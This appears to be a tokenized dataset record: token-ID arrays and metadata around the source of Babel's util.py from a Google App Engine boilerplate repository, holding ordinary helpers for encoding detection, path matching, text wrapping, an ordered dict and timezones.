1053, 1962, 628, 2344, 435, 620, 8, 1080, 9, 435, 1449, 2, 2763, 628, 17, 1743, 272, 665, 4209, 1021, 628, 27088, 18536, 1743, 1362, 665, 1053, 30, 489, 665, 3440, 1021, 628, 32141, 4685, 2, 536, 628, 2344, 435, 790, 435, 1449, 1743, 489, 3068, 3440, 30, 1362, 3068, 1053, 30, 1362, 665, 1053, 30, 489, 665, 3440, 1021, 628, 29116, 2, 536, 628, 409, 2344, 435, 790, 435, 1449, 1743, 2126, 665, 1829, 536, 628, 11555, 2320, 1743, 267, 665, 890, 30, 268, 665, 2063, 30, 2167, 1108, 2063, 30, 268, 665, 3333, 30, 975, 1138, 2819, 1046, 1108, 3333, 30, 267, 3068, 890, 30, 2126, 3068, 1829, 30, 2126, 665, 1829, 536, 628, 505 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3949, 381, 199, 3, 199, 3, 1898, 334, 35, 9, 20312, 710, 3959, 15878, 12126, 14, 199, 3, 18684, 26, 4178, 921, 1544, 14, 8440, 14, 2308, 15, 606, 25843, 15, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 3959, 9750, 707, 14, 199, 3, 199, 3, 5429, 23012, 844, 11028, 199, 3, 844, 397, 17573, 1686, 2414, 23012, 3959, 12378, 1443, 675, 642, 570, 315, 199, 3, 1066, 1577, 554, 543, 314, 2414, 23012, 4190, 25025, 2741, 543, 314, 199, 3, 2290, 503, 12, 8679, 17330, 12, 315, 1066, 1577, 554, 543, 314, 2895, 10470, 315, 199, 3, 282, 5313, 25025, 3382, 1265, 436, 710, 3959, 15878, 14, 2104, 32572, 2895, 199, 3, 436, 3704, 1937, 4178, 921, 1544, 14, 8440, 14, 2308, 15, 9187, 13, 9855, 14, 2104, 9848, 199, 3, 2556, 675, 314, 8966, 1824, 737, 4178, 921, 1544, 14, 8440, 14, 2308, 15, 7811, 13, 527, 14, 199, 3, 199, 3, 1664, 1696, 1684, 844, 11028, 199, 3, 26776, 12, 642, 570, 1443, 506, 1202, 1334, 314, 2895, 402, 314, 1664, 199, 3, 1696, 1684, 844, 1015, 650, 465, 3267, 701, 314, 2868, 2290, 199, 3, 2752, 543, 4967, 465, 7468, 316, 315, 314, 570, 5113, 14, 12006, 19, 13, 11764, 199, 3, 5120, 315, 314, 27369, 402, 642, 570, 14, 7754, 11248, 314, 2569, 199, 3, 2556, 370, 4868, 314, 1664, 1696, 1684, 844, 9760, 911, 199, 3, 506, 7647, 26, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 1360, 14, 199, 3, 199, 3949, 381, 199, 199, 646, 7534, 199, 646, 2022, 199, 646, 747, 199, 646, 18382, 14, 2415, 199, 646, 18382, 14, 11531, 14, 8332, 199, 646, 18382, 14, 1208, 199, 199, 318, 2615, 63, 1907, 63, 1317, 8, 8625, 304, 272, 372, 28827, 31, 1652, 1015, 628, 17, 14, 16, 2, 2644, 628, 6610, 13, 24, 24327, 199, 28, 1907, 1015, 628, 20, 14, 16, 1743, 199, 665, 533, 30, 1968, 621, 3484, 447, 1968, 621, 3484, 11834, 3339, 1108, 533, 30, 199, 665, 3440, 1021, 628, 23894, 2, 536, 628, 1968, 621, 3484, 447, 1968, 621, 3484, 11834, 3339, 1743, 523, 665, 1829, 536, 628, 11555, 2320, 1743, 2043, 665, 890, 30, 272, 665, 2063, 30, 21853, 1108, 2063, 30, 272, 665, 3333, 30, 975, 1138, 2819, 1046, 1108, 3333, 30, 2043, 3068, 890, 30, 523, 3068, 1829, 30, 523, 665, 4209, 1021, 628, 49, 7900, 4798, 2, 536, 628, 8625, 4798, 1743, 199, 2344, 435, 5920, 435, 1449, 221, 3068, 4209, 30, 199, 3068, 3440, 30, 199, 665, 4435, 3133, 199, 665, 7995, 3133, 199, 1108, 1907, 30, 199, 2344, 199, 199, 318, 2198, 63, 4958, 837, 272, 1798, 275, 7534, 14, 10730, 8, 1802, 534, 35, 6395, 5920, 1406, 570, 4306, 358, 272, 1798, 14, 525, 63, 2094, 4517, 16066, 13, 908, 13, 1419, 13, 8332, 297, 1720, 534, 515, 370, 445, 4159, 3484, 6609, 4558, 14, 8332, 297, 267, 849, 29, 403, 12, 2053, 534, 1419, 63, 8332, 358, 272, 372, 1798, 14, 1122, 63, 589, 342, 199, 199, 318, 2198, 63, 8332, 8, 505, 304, 272, 1798, 275, 18382, 14, 11531, 14, 8332, 14, 2842, 342, 272, 7323, 275, 334, 27114, 14, 11531, 14, 8332, 14, 2842, 4258, 272, 2202, 275, 18382, 14, 18062, 14, 14553, 8, 4608, 29, 4608, 680, 362, 63, 885, 63, 1459, 342, 272, 2213, 275, 18382, 14, 1208, 14, 1222, 63, 3554, 4827, 8332, 13, 1301, 4206, 2202, 29, 1751, 9, 272, 1798, 14, 1122, 8, 505, 12, 2213, 9, 272, 372, 2213, 199, 199, 318, 1218, 2081, 8, 498, 12, 574, 12, 1478, 304, 272, 1768, 275, 1449, 257, 665, 1053, 1962, 628, 2344, 435, 620, 8, 1080, 9, 435, 1449, 2, 2763, 628, 16, 1743, 272, 665, 3440, 1021, 628, 19890, 2, 536, 628, 1302, 2344, 435, 790, 435, 1449, 1743, 1362, 665, 1829, 536, 628, 505, 1743, 489, 665, 875, 440, 82, 628, 2052, 1743, 2344, 435, 790, 435, 1449, 1108, 875, 30, 1362, 3068, 1829, 30, 272, 3068, 3440, 30, 2043, 3068, 1053, 30, 199, 2344, 272, 574, 63, 1053, 275, 2125, 272, 340, 574, 59, 16, 61, 508, 283, 2245, 356, 267, 574, 63, 1053, 275, 1449, 257, 665, 1053, 1962, 628, 2344, 435, 620, 8, 1080, 9, 435, 1449, 2, 2763, 628, 17, 1743, 272, 665, 3440, 1021, 628, 49, 17491, 2, 536, 628, 2344, 435, 790, 435, 1449, 1743, 1362, 665, 1829, 536, 628, 12283, 4845, 1743, 489, 665, 4869, 30, 4238, 447, 2848, 951, 17310, 1108, 4869, 30, 1362, 3068, 1829, 30, 1362, 665, 1053, 30, 489, 665, 1829, 536, 628, 505, 1743, 2126, 665, 875, 440, 82, 628, 2052, 1743, 2698, 1108, 875, 30, 489, 3068, 1829, 30, 1362, 3068, 1053, 30, 1362, 665, 1053, 30, 489, 665, 1829, 536, 628, 505, 1743, 2126, 665, 875, 440, 82, 628, 2052, 1743, 2052, 1108, 875, 30, 489, 3068, 1829, 30, 1362, 3068, 1053, 30, 1362, 665, 1053, 30, 489, 665, 1829, 536, 628, 505, 1743, 2126, 665, 875, 440, 82, 628, 2052, 1743, 3910, 1108, 875, 30, 489, 3068, 1829, 30, 1362, 3068, 1053, 30, 272, 3068, 3440, 30, 2043, 3068, 1053, 30, 199, 2344, 272, 916, 574, 59, 16, 1055, 2460, 360, 1516, 447, 875, 358, 503, 574, 59, 16, 61, 508, 283, 2244, 7, 503, 574, 59, 16, 61, 508, 283, 442, 356, 267, 574, 63, 1053, 275, 1449, 257, 665, 1053, 1962, 628, 2344, 435, 620, 8, 1080, 9, 435, 1449, 2, 2763, 628, 17, 1743, 272, 665, 4209, 1021, 628, 27088, 18536, 1743, 1362, 665, 1053, 30, 489, 665, 3440, 1021, 628, 32141, 4685, 2, 536, 628, 2344, 435, 790, 435, 1449, 1743, 489, 3068, 3440, 30, 1362, 3068, 1053, 30, 1362, 665, 1053, 30, 489, 665, 3440, 1021, 628, 29116, 2, 536, 628, 409, 2344, 435, 790, 435, 1449, 1743, 2126, 665, 1829, 536, 628, 11555, 2320, 1743, 267, 665, 890, 30, 268, 665, 2063, 30, 2167, 1108, 2063, 30, 268, 665, 3333, 30, 975, 1138, 2819, 1046, 1108, 3333, 30, 267, 3068, 890, 30, 2126, 3068, 1829, 30, 2126, 665, 1829, 536, 628, 505, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
russomi/gae-boilerplate-idp
boilerplate/external/babel/util.py
60
10781
# -*- coding: utf-8 -*- # # Copyright (C) 2007 Edgewall Software # All rights reserved. # # This software is licensed as described in the file COPYING, which # you should have received as part of this distribution. The terms # are also available at http://babel.edgewall.org/wiki/License. # # This software consists of voluntary contributions made by many # individuals. For the exact contribution history, see the revision # history and logs, available at http://babel.edgewall.org/log/. """Various utility classes and functions.""" import codecs from datetime import timedelta, tzinfo import os import re try: set = set except NameError: from sets import Set as set import textwrap import time from itertools import izip, imap missing = object() __all__ = ['distinct', 'pathmatch', 'relpath', 'wraptext', 'odict', 'UTC', 'LOCALTZ'] __docformat__ = 'restructuredtext en' def distinct(iterable): """Yield all items in an iterable collection that are distinct. Unlike when using sets for a similar effect, the original ordering of the items in the collection is preserved by this function. >>> print list(distinct([1, 2, 1, 3, 4, 4])) [1, 2, 3, 4] >>> print list(distinct('foobar')) ['f', 'o', 'b', 'a', 'r'] :param iterable: the iterable collection providing the data :return: the distinct items in the collection :rtype: ``iterator`` """ seen = set() for item in iter(iterable): if item not in seen: yield item seen.add(item) # Regexp to match python magic encoding line PYTHON_MAGIC_COMMENT_re = re.compile( r'[ \t\f]* \# .* coding[=:][ \t]*([-\w.]+)', re.VERBOSE) def parse_encoding(fp): """Deduce the encoding of a source file from magic comment. It does this in the same way as the `Python interpreter`__ .. __: http://docs.python.org/ref/encodings.html The ``fp`` argument should be a seekable file object. (From Jeff Dairiki) """ pos = fp.tell() fp.seek(0) try: line1 = fp.readline() has_bom = line1.startswith(codecs.BOM_UTF8) if has_bom: line1 = line1[len(codecs.BOM_UTF8):] m = PYTHON_MAGIC_COMMENT_re.match(line1) if not m: try: import parser parser.suite(line1) except (ImportError, SyntaxError): # Either it's a real syntax error, in which case the source is # not valid python source, or line2 is a continuation of line1, # in which case we don't want to scan line2 for a magic # comment. pass else: line2 = fp.readline() m = PYTHON_MAGIC_COMMENT_re.match(line2) if has_bom: if m: raise SyntaxError( "python refuses to compile code with both a UTF8 " "byte-order-mark and a magic encoding comment") return 'utf_8' elif m: return m.group(1) else: return None finally: fp.seek(pos) def pathmatch(pattern, filename): """Extended pathname pattern matching. This function is similar to what is provided by the ``fnmatch`` module in the Python standard library, but: * can match complete (relative or absolute) path names, and not just file names, and * also supports a convenience pattern ("**") to match files at any directory level. Examples: >>> pathmatch('**.py', 'bar.py') True >>> pathmatch('**.py', 'foo/bar/baz.py') True >>> pathmatch('**.py', 'templates/index.html') False >>> pathmatch('**/templates/*.html', 'templates/index.html') True >>> pathmatch('**/templates/*.html', 'templates/foo/bar.html') False :param pattern: the glob pattern :param filename: the path name of the file to match against :return: `True` if the path name matches the pattern, `False` otherwise :rtype: `bool` """ symbols = { '?': '[^/]', '?/': '[^/]/', '*': '[^/]+', '*/': '[^/]+/', '**/': '(?:.+/)*?', '**': '(?:.+/)*?[^/]+', } buf = [] for idx, part in enumerate(re.split('([?*]+/?)', pattern)): if idx % 2: buf.append(symbols[part]) elif part: buf.append(re.escape(part)) match = re.match(''.join(buf) + '$', filename.replace(os.sep, '/')) return match is not None class TextWrapper(textwrap.TextWrapper): wordsep_re = re.compile( r'(\s+|' # any whitespace r'(?<=[\w\!\"\'\&\.\,\?])-{2,}(?=\w))' # em-dash ) def wraptext(text, width=70, initial_indent='', subsequent_indent=''): """Simple wrapper around the ``textwrap.wrap`` function in the standard library. This version does not wrap lines on hyphens in words. :param text: the text to wrap :param width: the maximum line width :param initial_indent: string that will be prepended to the first line of wrapped output :param subsequent_indent: string that will be prepended to all lines save the first of wrapped output :return: a list of lines :rtype: `list` """ wrapper = TextWrapper(width=width, initial_indent=initial_indent, subsequent_indent=subsequent_indent, break_long_words=False) return wrapper.wrap(text) class odict(dict): """Ordered dict implementation. :see: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/107747 """ def __init__(self, data=None): dict.__init__(self, data or {}) self._keys = dict.keys(self) def __delitem__(self, key): dict.__delitem__(self, key) self._keys.remove(key) def __setitem__(self, key, item): dict.__setitem__(self, key, item) if key not in self._keys: self._keys.append(key) def __iter__(self): return iter(self._keys) iterkeys = __iter__ def clear(self): dict.clear(self) self._keys = [] def copy(self): d = odict() d.update(self) return d def items(self): return zip(self._keys, self.values()) def iteritems(self): return izip(self._keys, self.itervalues()) def keys(self): return self._keys[:] def pop(self, key, default=missing): if default is missing: return dict.pop(self, key) elif key not in self: return default self._keys.remove(key) return dict.pop(self, key, default) def popitem(self, key): self._keys.remove(key) return dict.popitem(key) def setdefault(self, key, failobj = None): dict.setdefault(self, key, failobj) if key not in self._keys: self._keys.append(key) def update(self, dict): for (key, val) in dict.items(): self[key] = val def values(self): return map(self.get, self._keys) def itervalues(self): return imap(self.get, self._keys) try: relpath = os.path.relpath except AttributeError: def relpath(path, start='.'): """Compute the relative path to one path from another. >>> relpath('foo/bar.txt', '').replace(os.sep, '/') 'foo/bar.txt' >>> relpath('foo/bar.txt', 'foo').replace(os.sep, '/') 'bar.txt' >>> relpath('foo/bar.txt', 'baz').replace(os.sep, '/') '../foo/bar.txt' :return: the relative path :rtype: `basestring` """ start_list = os.path.abspath(start).split(os.sep) path_list = os.path.abspath(path).split(os.sep) # Work out how much of the filepath is shared by start and path. i = len(os.path.commonprefix([start_list, path_list])) rel_list = [os.path.pardir] * (len(start_list) - i) + path_list[i:] return os.path.join(*rel_list) try: from operator import attrgetter, itemgetter except ImportError: def itemgetter(name): def _getitem(obj): return obj[name] return _getitem try: ''.rsplit def rsplit(a_string, sep=None, maxsplit=None): return a_string.rsplit(sep, maxsplit) except AttributeError: def rsplit(a_string, sep=None, maxsplit=None): parts = a_string.split(sep) if maxsplit is None or len(parts) <= maxsplit: return parts maxsplit_index = len(parts) - maxsplit non_splitted_part = sep.join(parts[:maxsplit_index]) splitted = parts[maxsplit_index:] return [non_splitted_part] + splitted ZERO = timedelta(0) class FixedOffsetTimezone(tzinfo): """Fixed offset in minutes east from UTC.""" def __init__(self, offset, name=None): self._offset = timedelta(minutes=offset) if name is None: name = 'Etc/GMT+%d' % offset self.zone = name def __str__(self): return self.zone def __repr__(self): return '<FixedOffset "%s" %s>' % (self.zone, self._offset) def utcoffset(self, dt): return self._offset def tzname(self, dt): return self.zone def dst(self, dt): return ZERO try: from pytz import UTC except ImportError: UTC = FixedOffsetTimezone(0, 'UTC') """`tzinfo` object for UTC (Universal Time). :type: `tzinfo` """ STDOFFSET = timedelta(seconds = -time.timezone) if time.daylight: DSTOFFSET = timedelta(seconds = -time.altzone) else: DSTOFFSET = STDOFFSET DSTDIFF = DSTOFFSET - STDOFFSET class LocalTimezone(tzinfo): def utcoffset(self, dt): if self._isdst(dt): return DSTOFFSET else: return STDOFFSET def dst(self, dt): if self._isdst(dt): return DSTDIFF else: return ZERO def tzname(self, dt): return time.tzname[self._isdst(dt)] def _isdst(self, dt): tt = (dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second, dt.weekday(), 0, -1) stamp = time.mktime(tt) tt = time.localtime(stamp) return tt.tm_isdst > 0 LOCALTZ = LocalTimezone() """`tzinfo` object for local time-zone. :type: `tzinfo` """
lgpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 202, 199, 3, 202, 199, 3, 1898, 334, 35, 9, 10219, 25155, 7567, 2290, 202, 199, 3, 2900, 4481, 4644, 14, 202, 199, 3, 202, 199, 3, 961, 2032, 365, 18233, 465, 11736, 315, 314, 570, 9685, 12, 1314, 202, 199, 3, 1265, 1077, 1172, 3086, 465, 1777, 402, 642, 4084, 14, 710, 2895, 202, 199, 3, 787, 2597, 2808, 737, 1455, 921, 66, 902, 14, 5173, 7567, 14, 1308, 15, 6797, 15, 3761, 14, 202, 199, 3, 202, 199, 3, 961, 2032, 18581, 402, 5236, 638, 695, 406, 26675, 6326, 701, 5002, 202, 199, 3, 8212, 83, 14, 2104, 314, 5835, 406, 15980, 7994, 12, 1937, 314, 6974, 202, 199, 3, 7994, 436, 9610, 12, 2808, 737, 1455, 921, 66, 902, 14, 5173, 7567, 14, 1308, 15, 793, 8083, 2999, 199, 624, 9958, 1785, 11420, 3992, 436, 3423, 1041, 2999, 199, 646, 6010, 202, 199, 504, 2197, 492, 6871, 12, 10313, 202, 199, 646, 747, 202, 199, 646, 295, 202, 199, 893, 26, 1128, 663, 275, 663, 202, 199, 2590, 12746, 26, 1128, 687, 5951, 492, 2494, 465, 663, 202, 199, 646, 13390, 202, 199, 646, 900, 202, 199, 504, 7975, 492, 28697, 12, 23646, 202, 199, 4752, 275, 909, 342, 2999, 199, 363, 452, 363, 275, 788, 12926, 297, 283, 515, 1431, 297, 283, 12405, 297, 283, 3823, 505, 297, 283, 79, 807, 297, 283, 11288, 297, 18691, 283, 7486, 14226, 418, 202, 199, 363, 21841, 363, 275, 283, 26854, 655, 7, 8065, 199, 318, 15392, 8, 8147, 304, 1128, 408, 22889, 1006, 2974, 315, 376, 6076, 3245, 626, 787, 15392, 14, 2958, 25059, 1380, 1808, 5951, 367, 282, 8545, 7763, 12, 314, 3379, 7794, 402, 314, 1128, 2974, 315, 314, 3245, 365, 17731, 701, 642, 805, 14, 2958, 1306, 870, 769, 8, 12926, 779, 17, 12, 499, 12, 413, 12, 650, 12, 841, 12, 841, 2459, 1128, 359, 17, 12, 499, 12, 650, 12, 841, 61, 1128, 1306, 870, 769, 8, 12926, 360, 9664, 1333, 1128, 788, 70, 297, 283, 79, 297, 283, 66, 297, 283, 65, 297, 283, 82, 418, 2958, 520, 635, 6076, 26, 314, 6076, 3245, 13070, 314, 666, 1128, 520, 1107, 26, 314, 15392, 2974, 315, 314, 3245, 1128, 520, 4500, 26, 1124, 5778, 1040, 1128, 408, 1128, 6775, 275, 663, 342, 1128, 367, 1242, 315, 2740, 8, 8147, 304, 1039, 340, 1242, 440, 315, 6775, 26, 1675, 1995, 1242, 1675, 6775, 14, 525, 8, 1053, 9, 2999, 199, 3, 12939, 80, 370, 1336, 2366, 10628, 2644, 1004, 202, 199, 11720, 63, 19973, 63, 10973, 63, 264, 275, 295, 14, 2014, 8, 1128, 519, 3894, 971, 84, 60, 70, 3672, 971, 3, 23076, 2803, 59, 29, 26, 1527, 971, 84, 3672, 779, 2696, 87, 14, 28798, 295, 14, 16075, 9, 202, 199, 318, 2198, 63, 2991, 8, 3997, 304, 1128, 408, 36, 379, 3683, 314, 2644, 402, 282, 1350, 570, 687, 10628, 3721, 14, 2958, 2779, 1630, 642, 315, 314, 2011, 4340, 465, 314, 658, 4718, 12693, 64, 363, 2958, 2508, 636, 26, 1455, 921, 4757, 14, 1548, 14, 1308, 15, 1121, 15, 21138, 14, 1360, 2958, 710, 1124, 3997, 1040, 1423, 1077, 506, 282, 12005, 461, 570, 909, 14, 2958, 334, 2532, 1603, 3609, 577, 5789, 322, 8810, 9, 1128, 408, 1128, 2086, 275, 4090, 14, 9974, 342, 1128, 4090, 14, 5507, 8, 16, 9, 1128, 862, 26, 1039, 1004, 17, 275, 4090, 14, 6407, 342, 1039, 965, 63, 16302, 275, 1004, 17, 14, 2460, 8, 8933, 14, 19550, 63, 6610, 24, 9, 1039, 340, 965, 63, 16302, 26, 1675, 1004, 17, 275, 1004, 17, 59, 552, 8, 8933, 14, 19550, 63, 6610, 24, 15405, 4341, 333, 275, 18280, 63, 19973, 63, 10973, 63, 264, 14, 1431, 8, 604, 17, 9, 1039, 340, 440, 333, 26, 1675, 862, 26, 2628, 492, 1798, 2628, 1798, 14, 5768, 8, 604, 17, 9, 1675, 871, 334, 17825, 12, 12053, 304, 2628, 327, 13083, 652, 1159, 282, 3363, 6302, 1125, 12, 315, 1314, 1930, 314, 1350, 365, 2628, 327, 440, 1686, 2366, 1350, 12, 503, 1004, 18, 365, 282, 16015, 402, 1004, 17, 12, 2628, 327, 315, 1314, 1930, 781, 2793, 1133, 2934, 370, 8000, 1004, 18, 367, 282, 10628, 2628, 327, 3721, 14, 2628, 986, 1675, 587, 26, 2628, 1004, 18, 275, 4090, 14, 6407, 342, 2628, 333, 275, 18280, 63, 19973, 63, 10973, 63, 264, 14, 1431, 8, 604, 18, 9, 4341, 340, 965, 63, 16302, 26, 1675, 340, 333, 26, 2628, 746, 12053, 8, 4906, 298, 1548, 2984, 5589, 370, 6555, 1233, 543, 3865, 282, 9094, 24, 298, 4906, 298, 4414, 13, 1648, 13, 1657, 436, 282, 10628, 2644, 3721, 531, 1675, 372, 283, 1624, 63, 24, 7, 1039, 916, 333, 26, 1675, 372, 333, 14, 923, 8, 17, 9, 1039, 587, 26, 1675, 372, 488, 1128, 3753, 26, 1039, 4090, 14, 5507, 8, 1712, 9, 2999, 199, 318, 931, 1431, 8, 3401, 12, 1788, 304, 1128, 408, 14107, 11776, 3851, 4877, 14, 11787, 961, 805, 365, 8545, 370, 4052, 365, 2741, 701, 314, 1124, 15359, 1040, 859, 315, 1128, 314, 2018, 4465, 3555, 12, 1325, 26, 8428, 8428, 627, 883, 1336, 4890, 334, 6188, 503, 3679, 9, 931, 1561, 12, 436, 440, 2951, 570, 22132, 1561, 12, 436, 8428, 627, 2597, 5171, 282, 16777, 3851, 1689, 538, 531, 370, 1336, 1584, 737, 1263, 22132, 2082, 2166, 14, 11787, 6058, 26, 11787, 1306, 931, 1431, 31260, 14, 647, 297, 283, 1700, 14, 647, 358, 1128, 715, 1128, 1306, 931, 1431, 31260, 14, 647, 297, 283, 1421, 15, 1700, 15, 6185, 14, 647, 358, 1128, 715, 1128, 1306, 931, 1431, 31260, 14, 647, 297, 283, 5876, 15, 1080, 14, 1360, 358, 1128, 756, 11787, 1306, 931, 1431, 31260, 15, 5876, 20362, 1360, 297, 283, 5876, 15, 1080, 14, 1360, 358, 1128, 715, 1128, 1306, 931, 1431, 31260, 15, 5876, 20362, 1360, 297, 283, 5876, 15, 1421, 15, 1700, 14, 1360, 358, 1128, 756, 11787, 520, 635, 3851, 26, 314, 5739, 3851, 1128, 520, 635, 1788, 26, 314, 931, 536, 402, 314, 570, 370, 1336, 6169, 1128, 520, 1107, 26, 658, 549, 64, 340, 314, 931, 536, 4450, 314, 3851, 12 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 202, 199, 3, 202, 199, 3, 1898, 334, 35, 9, 10219, 25155, 7567, 2290, 202, 199, 3, 2900, 4481, 4644, 14, 202, 199, 3, 202, 199, 3, 961, 2032, 365, 18233, 465, 11736, 315, 314, 570, 9685, 12, 1314, 202, 199, 3, 1265, 1077, 1172, 3086, 465, 1777, 402, 642, 4084, 14, 710, 2895, 202, 199, 3, 787, 2597, 2808, 737, 1455, 921, 66, 902, 14, 5173, 7567, 14, 1308, 15, 6797, 15, 3761, 14, 202, 199, 3, 202, 199, 3, 961, 2032, 18581, 402, 5236, 638, 695, 406, 26675, 6326, 701, 5002, 202, 199, 3, 8212, 83, 14, 2104, 314, 5835, 406, 15980, 7994, 12, 1937, 314, 6974, 202, 199, 3, 7994, 436, 9610, 12, 2808, 737, 1455, 921, 66, 902, 14, 5173, 7567, 14, 1308, 15, 793, 8083, 2999, 199, 624, 9958, 1785, 11420, 3992, 436, 3423, 1041, 2999, 199, 646, 6010, 202, 199, 504, 2197, 492, 6871, 12, 10313, 202, 199, 646, 747, 202, 199, 646, 295, 202, 199, 893, 26, 1128, 663, 275, 663, 202, 199, 2590, 12746, 26, 1128, 687, 5951, 492, 2494, 465, 663, 202, 199, 646, 13390, 202, 199, 646, 900, 202, 199, 504, 7975, 492, 28697, 12, 23646, 202, 199, 4752, 275, 909, 342, 2999, 199, 363, 452, 363, 275, 788, 12926, 297, 283, 515, 1431, 297, 283, 12405, 297, 283, 3823, 505, 297, 283, 79, 807, 297, 283, 11288, 297, 18691, 283, 7486, 14226, 418, 202, 199, 363, 21841, 363, 275, 283, 26854, 655, 7, 8065, 199, 318, 15392, 8, 8147, 304, 1128, 408, 22889, 1006, 2974, 315, 376, 6076, 3245, 626, 787, 15392, 14, 2958, 25059, 1380, 1808, 5951, 367, 282, 8545, 7763, 12, 314, 3379, 7794, 402, 314, 1128, 2974, 315, 314, 3245, 365, 17731, 701, 642, 805, 14, 2958, 1306, 870, 769, 8, 12926, 779, 17, 12, 499, 12, 413, 12, 650, 12, 841, 12, 841, 2459, 1128, 359, 17, 12, 499, 12, 650, 12, 841, 61, 1128, 1306, 870, 769, 8, 12926, 360, 9664, 1333, 1128, 788, 70, 297, 283, 79, 297, 283, 66, 297, 283, 65, 297, 283, 82, 418, 2958, 520, 635, 6076, 26, 314, 6076, 3245, 13070, 314, 666, 1128, 520, 1107, 26, 314, 15392, 2974, 315, 314, 3245, 1128, 520, 4500, 26, 1124, 5778, 1040, 1128, 408, 1128, 6775, 275, 663, 342, 1128, 367, 1242, 315, 2740, 8, 8147, 304, 1039, 340, 1242, 440, 315, 6775, 26, 1675, 1995, 1242, 1675, 6775, 14, 525, 8, 1053, 9, 2999, 199, 3, 12939, 80, 370, 1336, 2366, 10628, 2644, 1004, 202, 199, 11720, 63, 19973, 63, 10973, 63, 264, 275, 295, 14, 2014, 8, 1128, 519, 3894, 971, 84, 60, 70, 3672, 971, 3, 23076, 2803, 59, 29, 26, 1527, 971, 84, 3672, 779, 2696, 87, 14, 28798, 295, 14, 16075, 9, 202, 199, 318, 2198, 63, 2991, 8, 3997, 304, 1128, 408, 36, 379, 3683, 314, 2644, 402, 282, 1350, 570, 687, 10628, 3721, 14, 2958, 2779, 1630, 642, 315, 314, 2011, 4340, 465, 314, 658, 4718, 12693, 64, 363, 2958, 2508, 636, 26, 1455, 921, 4757, 14, 1548, 14, 1308, 15, 1121, 15, 21138, 14, 1360, 2958, 710, 1124, 3997, 1040, 1423, 1077, 506, 282, 12005, 461, 570, 909, 14, 2958, 334, 2532, 1603, 3609, 577, 5789, 322, 8810, 9, 1128, 408, 1128, 2086, 275, 4090, 14, 9974, 342, 1128, 4090, 14, 5507, 8, 16, 9, 1128, 862, 26, 1039, 1004, 17, 275, 4090, 14, 6407, 342, 1039, 965, 63, 16302, 275, 1004, 17, 14, 2460, 8, 8933, 14, 19550, 63, 6610, 24, 9, 1039, 340, 965, 63, 16302, 26, 1675, 1004, 17, 275, 1004, 17, 59, 552, 8, 8933, 14, 19550, 63, 6610, 24, 15405, 4341, 333, 275, 18280, 63, 19973, 63, 10973, 63, 264, 14, 1431, 8, 604, 17, 9, 1039, 340, 440, 333, 26, 1675, 862, 26, 2628, 492, 1798, 2628, 1798, 14, 5768, 8, 604, 17, 9, 1675, 871, 334, 17825, 12, 12053, 304, 2628, 327, 13083, 652, 1159, 282, 3363, 6302, 1125, 12, 315, 1314, 1930, 314, 1350, 365, 2628, 327, 440, 1686, 2366, 1350, 12, 503, 1004, 18, 365, 282, 16015, 402, 1004, 17, 12, 2628, 327, 315, 1314, 1930, 781, 2793, 1133, 2934, 370, 8000, 1004, 18, 367, 282, 10628, 2628, 327, 3721, 14, 2628, 986, 1675, 587, 26, 2628, 1004, 18, 275, 4090, 14, 6407, 342, 2628, 333, 275, 18280, 63, 19973, 63, 10973, 63, 264, 14, 1431, 8, 604, 18, 9, 4341, 340, 965, 63, 16302, 26, 1675, 340, 333, 26, 2628, 746, 12053, 8, 4906, 298, 1548, 2984, 5589, 370, 6555, 1233, 543, 3865, 282, 9094, 24, 298, 4906, 298, 4414, 13, 1648, 13, 1657, 436, 282, 10628, 2644, 3721, 531, 1675, 372, 283, 1624, 63, 24, 7, 1039, 916, 333, 26, 1675, 372, 333, 14, 923, 8, 17, 9, 1039, 587, 26, 1675, 372, 488, 1128, 3753, 26, 1039, 4090, 14, 5507, 8, 1712, 9, 2999, 199, 318, 931, 1431, 8, 3401, 12, 1788, 304, 1128, 408, 14107, 11776, 3851, 4877, 14, 11787, 961, 805, 365, 8545, 370, 4052, 365, 2741, 701, 314, 1124, 15359, 1040, 859, 315, 1128, 314, 2018, 4465, 3555, 12, 1325, 26, 8428, 8428, 627, 883, 1336, 4890, 334, 6188, 503, 3679, 9, 931, 1561, 12, 